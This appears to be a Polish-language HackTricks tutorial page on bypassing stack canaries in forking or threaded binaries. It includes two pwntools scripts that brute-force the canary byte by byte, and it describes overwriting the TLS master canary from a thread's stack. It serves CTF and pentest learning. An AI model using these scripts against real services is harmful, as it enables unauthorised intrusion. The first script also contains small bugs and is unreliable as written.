BF Forked & Threaded Stack Canaries

Wesprzyj HackTricks

Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.

Zauważ, że checksec może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on skompilowany statycznie i nie jest w stanie zidentyfikować funkcji. Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed wyjściem.

Brutalne narzucanie Canary

Najlepszym sposobem na obejście prostego canary jest, gdy binarny plik to program tworzący procesy potomne za każdym razem, gdy nawiązujesz z nim nowe połączenie (usługa sieciowa), ponieważ za każdym razem, gdy się z nim połączysz, użyty zostanie ten sam canary.

Następnie najlepszym sposobem na obejście canary jest po prostu brutalne narzucanie go znak po znaku, a możesz dowiedzieć się, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swoje regularne działanie. W tym przykładzie funkcja brutalnie narzuca 8-bajtowy canary (x64) i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu sprawdzając, czy serwer wysyła odpowiedź z powrotem (innym sposobem w innych sytuacjach mogłoby być użycie try/except):

Przykład 1

Ten przykład jest zaimplementowany dla 64 bitów, ale można go łatwo zaimplementować dla 32 bitów.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Przykład 2

To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity. Zauważ również, że w tym przykładzie program oczekiwał najpierw bajtu wskazującego rozmiar danych wejściowych oraz samego ładunku.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Wątki

Wątki tego samego procesu będą również dzielić ten sam token kanarka, dlatego będzie możliwe przeprowadzenie ataku brutalnej siły na kanarka, jeśli binarny plik tworzy nowy wątek za każdym razem, gdy następuje atak.

Co więcej, przepełnienie bufora w funkcji wątkowej zabezpieczonej kanarkiem może być wykorzystane do modyfikacji głównego kanarka przechowywanego w TLS. Dzieje się tak, ponieważ możliwe może być dotarcie do pozycji pamięci, w której przechowywane jest TLS (a zatem kanarek) za pomocą przepełnienia bufora na stosie wątku. W rezultacie zastosowanie zabezpieczenia jest bezużyteczne, ponieważ sprawdzanie jest wykonywane z użyciem dwóch kanarków, które są identyczne (choć zmodyfikowane). Ten atak jest opisany w artykule: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Sprawdź również prezentację https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015, która wspomina, że zazwyczaj TLS jest przechowywane przez mmap i gdy tworzony jest stos wątku, również jest generowany przez mmap, co może umożliwić przepełnienie, jak pokazano w poprzednim opisie.

Inne przykłady i odnośniki

Last updated